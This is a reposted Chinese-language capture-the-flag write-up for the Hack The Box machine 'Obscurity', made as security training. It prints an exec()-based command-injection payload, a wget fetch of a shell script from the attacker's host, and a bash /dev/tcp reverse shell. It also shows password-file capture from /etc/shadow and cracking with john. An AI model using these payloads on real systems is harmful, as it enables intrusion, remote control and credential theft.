Hack the Box - Obscurity

admin 2022年4月26日06:42:45评论36 views字数 11199阅读37分19秒阅读模式

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Obscurity”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。



摘要

    • 源码泄露 & RCE

    • 加密脚本破解 & 获取用户

    • root 密码破解




信息收集


nmap扫出了 22 , 8080 端口

root@localhost:~/hackthebox_workspace/finish/Obscurity# nmap -v -Pn -A 10.10.10.168Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 16:17 CST Scanning obscurity.htb (10.10.10.168) [1000 ports] Discovered open port 8080/tcp on 10.10.10.168 Discovered open port 22/tcp on 10.10.10.168 SYN Stealth Scan Timing: About 42.25% done; ETC: 16:18 (0:00:42 remaining)Completed SYN Stealth Scan at 16:18, 49.61s elapsed (1000 total ports) Initiating Service scan at 16:18 Scanning 2 services on obscurity.htb (10.10.10.168) Nmap scan report for obscurity.htb (10.10.10.168) Host is up (0.43s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 80/tcp closed http 8080/tcp open http-proxy BadHTTPServer

Hack the Box - Obscurity


查看 8080 的 web ,发现提示 SuperSecureServer.py

Hack the Box - Obscurity


已知文件名为 SuperSecureServer.py,然后我们使用wufzz扫描路径

root@localhost:~/hackthebox_workspace/finish/Obscurity# wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py    Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.********************************************************* Wfuzz 2.4 - The Web Fuzzer         *********************************************************Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.pyTotal requests: 949===================================================================ID           Response   Lines    Word     Chars       Payload       ===================================================================000000259:   200        170 L    498 W    5892 Ch     "develop"     Finishing pending requests...

Hack the Box - Obscurity

路径为  :

http://obscurity.htb:8080/develop/SuperSecureServer.py  




源码泄露 & getshell


得出源码

import socketimport threadingfrom datetime import datetimeimport sysimport osimport mimetypesimport urllib.parseimport subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}Date: {dateSent}Server: {server}Last-Modified: {modified}Content-Length: {length}Content-Type: {contentType}Connection: {connectionType}
{body}"""DOC_ROOT = "DocRoot"
CODES = {"200": "OK", "304": "NOT MODIFIED", "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", "500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}

class Response: def __init__(self, **kwargs): self.__dict__.update(kwargs) now = datetime.now() self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S") def stringResponse(self): return respTemplate.format(**self.__dict__)
class Request: def __init__(self, request): self.good = True try: request = self.parseRequest(request) self.method = request["method"] self.doc = request["doc"] self.vers = request["vers"] self.header = request["header"] self.body = request["body"] except: self.good = False
def parseRequest(self, request): req = request.strip("r").split("n") method,doc,vers = req[0].split(" ") header = req[1:-3] body = req[-1] headerDict = {} for param in header: pos = param.find(": ") key, val = param[:pos], param[pos+2:] headerDict.update({key: val}) return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server: def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port))
def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address): size = 1024 while True: try: data = client.recv(size) if data: # Set the response to echo back the recieved data req = Request(data.decode()) self.handleRequest(req, client, address) client.shutdown() client.close() else: raise error('Client disconnected') except: client.close() return False
def handleRequest(self, request, conn, address): if request.good:# try: # print(str(request.method) + " " + str(request.doc), end=' ') # print("from {0}".format(address[0]))# except Exception as e:# print(e) document = self.serveDoc(request.doc, DOC_ROOT) statusNum=document["status"] else: document = self.serveDoc("/errors/400.html", DOC_ROOT) statusNum="400" body = document["body"]
statusCode=CODES[statusNum] dateSent = "" server = "BadHTTPServer" modified = "" length = len(body) contentType = document["mime"] # Try and identify MIME type from string connectionType = "Closed"

resp = Response( statusNum=statusNum, statusCode=statusCode, dateSent = dateSent, server = server, modified = modified, length = length, contentType = contentType, connectionType = connectionType, body = body )
data = resp.stringResponse() if not data: return -1 conn.send(data.encode()) return 0
def serveDoc(self, path, docRoot): path = urllib.parse.unquote(path) try: info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right? cwd = os.path.dirname(os.path.realpath(__file__)) docRoot = os.path.join(cwd, docRoot) if path == "/": path = "/index.html" requested = os.path.join(docRoot, path[1:]) if os.path.isfile(requested): mime = mimetypes.guess_type(requested) mime = (mime if mime[0] != None else "text/html") mime = MIMES[requested.split(".")[-1]] try: with open(requested, "r") as f: data = f.read() except: with open(requested, "rb") as f: data = f.read() status = "200" else: errorPage = os.path.join(docRoot, "errors", "404.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read().format(path) status = "404" except Exception as e: print(e) errorPage = os.path.join(docRoot, "errors", "500.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read() status = "500" return {"body": data, "mime": mime, "status": status}



vuln 代码如下:

path = urllib.parse.unquote(path)        try:            info = "output = 'Document: {}'" # Keep the output for later debug            exec(info.format(path)) # This is how you do string formatting, right?


发现了 exec() 执行命令,可以构造命令注入  

虽然python默认省略 ; 符号,但我们仍可以利用 ; 分割代码语句  

利用ping -c 4测试是否成功  


payload为:

> http:/obscurity:8080/';os.system('ping -c 4 10.10.xx.xxx');path='/';'  


burp查看数据包返回时间判断是否成功  

图片

反弹脚本为

root@localhost:~/hackthebox_workspace/finish/Obscurity# cat shell.sh#!/bin/bashbash -i >& /dev/tcp/10.10.xx.xx/xxxx 0>&1


用 SimpleHTTPServer 模块传输反弹脚本

> python -m SimpleHTTPServer 80 


触发反弹url为(依次执行,并且在执行前用 nc 监听端口):

> http:/obscurity:8080/';os.system('wget http://10.10.xx.xx/shell.sh -0 /tmp/shell.sh');path='/';'  


>http:/obscurity:8080/';os.system('chmod +x /tmp/shell.sh');path='/';'  


> http:/obscurity:8080/';os.system('./tmp/shell.sh');path='/';'  



加密脚本破解


获得shell后枚举发现用户 robert  

在 robert 文件夹下发现功能为加密的脚本  

脚本源码为


import sysimport argparsedef encrypt(text, key):    keylen = len(key)    keyPos = 0    encrypted = ""    for x in text:        keyChr = key[keyPos]        newChr = ord(x)        newChr = chr((newChr + ord(keyChr)) % 255)        encrypted += newChr        keyPos += 1        keyPos = keyPos % keylen    return encrypteddef decrypt(text, key):    keylen = len(key)    keyPos = 0    decrypted = ""    for x in text:        keyChr = key[keyPos]        newChr = ord(x)        newChr = chr((newChr - ord(keyChr)) % 255)        decrypted += newChr        keyPos += 1        keyPos = keyPos % keylen    return decryptedparser = argparse.ArgumentParser(description='Encrypt with 0bscura's encryption algorithm')
parser.add_argument('-i', metavar='InFile', type=str, help='The file to read', required=False)
parser.add_argument('-o', metavar='OutFile', type=str, help='Where to output the encrypted/decrypted file', required=False)
parser.add_argument('-k', metavar='Key', type=str, help='Key to use', required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################n"banner+= "# BEGINNING #n"banner+= "# SUPER SECURE ENCRYPTOR #n"banner+= "################################n"banner += " ############################n"banner += " # FILE MODE #n"banner += " ############################"print(banner)if args.o == None or args.k == None or args.i == None: print("Missing args")else: if args.d: print("Opening file {0}...".format(args.i)) with open(args.i, 'r', encoding='UTF-8') as f: data = f.read()
print("Decrypting...") decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o)) with open(args.o, 'w', encoding='UTF-8') as f: f.write(decrypted) else: print("Opening file {0}...".format(args.i)) with open(args.i, 'r', encoding='UTF-8') as f: data = f.read()
print("Encrypting...") encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o)) with open(args.o, 'w', encoding='UTF-8') as f: f.write(encrypted)


主要源码:


for x in text:>        keyChr = key[keyPos]>        newChr = ord(x)>        newChr = chr((newChr + ord(keyChr)) % 255)>        encrypted += newChr>        keyPos += 1>        keyPos = keyPos % keylen> ```> (字符串的每个字的10进制) -(输入的key密钥的10进制) > >   得出的东西再编码成10进制  > *简单的10进制加解密*  


破解脚本

import sysimport argparse

def decrypt(entext,detext): keyword = "" a=-1 for x in entext: a += 1 newChr=ord(x) for i in range(48,123): decrypted=chr((newChr-i)%255) if decrypted == detext[a]: print(detext[a],end=" ") keyword += chr(i)+" " break return keyword
def main(): parser = argparse.ArgumentParser(description='Dencrypt programming') parser.add_argument('-e',metavar='',type=str,help='Encrypted word',required=False) parser.add_argument('-t',metavar='',type=str,help='The plaintext you already know',required=False) args = parser.parse_args() if args.e != None or args.t != None: print("Reading file {0}".format(args.e)) with open(args.e,'r',encoding='UTF-8') as f: endata=f.read() with open(args.t,'r',encoding='UTF-8') as f: dedata=f.read() print(decrypt(endata,dedata)) else: print("./decry.py -e demo -t demo")
if __name__ == "__main__": main()


chmod +x decry.py

./decry.py -e /home/robert/out.txt -p /home/robert/check.txt

得出密钥

alexandrovich

把密钥写到key文件中

touch /home/robert/key

echo "alexandrovich" >> /home/robert/key

./decry.py -e /home/robert/passwordreminder.txt -p /home/robert/key


得到密码并ssh登录robert得到user.txt


root 获取


在用户的文件夹下面有一个 root 所有的文件夹  

打开发现脚本  

脚本源码如下

import sysimport random, stringimport osimport timeimport cryptimport tracebackimport subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))session = {"user": "", "authenticated": 0}try: session['user'] = input("Enter username: ") passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f: data = f.readlines() data = [(p.split(":") if "$" in p else None) for p in data] passwords = [] for x in data: if not x == None: passwords.append(x)
passwordFile = 'n'.join(['n'.join(p) for p in passwords]) with open('/tmp/SSH/'+path, 'w') as f: f.write(passwordFile) time.sleep(.1) salt = "" realPass = "" for p in passwords: if p[0] == session['user']: salt, realPass = p[1].split('$')[2:] break
if salt == "": print("Invalid user") os.remove('/tmp/SSH/'+path) sys.exit(0) salt = '$6$'+salt+'$' realPass = salt + realPass hash = crypt.crypt(passW, salt)
if hash == realPass: print("Authed!") session['authenticated'] = 1 else: print("Incorrect pass") os.remove('/tmp/SSH/'+path) sys.exit(0) os.remove(os.path.join('/tmp/SSH/',path))except Exception as e: traceback.print_exc() sys.exit(0)
if session['authenticated'] == 1: while True: command = input(session['user'] + "@Obscure$ ") cmd = ['sudo', '-u', session['user']] cmd.extend(command.split(" ")) proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate() print('Output: ' + o.decode('ascii')) print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')


脚本把文件移到 /tmp/SSH/ 下  

然后判断用户输入的账号密码,判断失败后会将文件删除  


破解后获得root密码

john passenc
su rootcat ~/root.txt






手握日月摘星辰,安全路上永不止步。

                                                   - Khan攻防安全实验室



本文始发于微信公众号(Khan安全攻防实验室):Hack the Box - Obscurity

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日06:42:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hack the Box - Obscurityhttps://cn-sec.com/archives/536366.html

发表评论

匿名网友 填写信息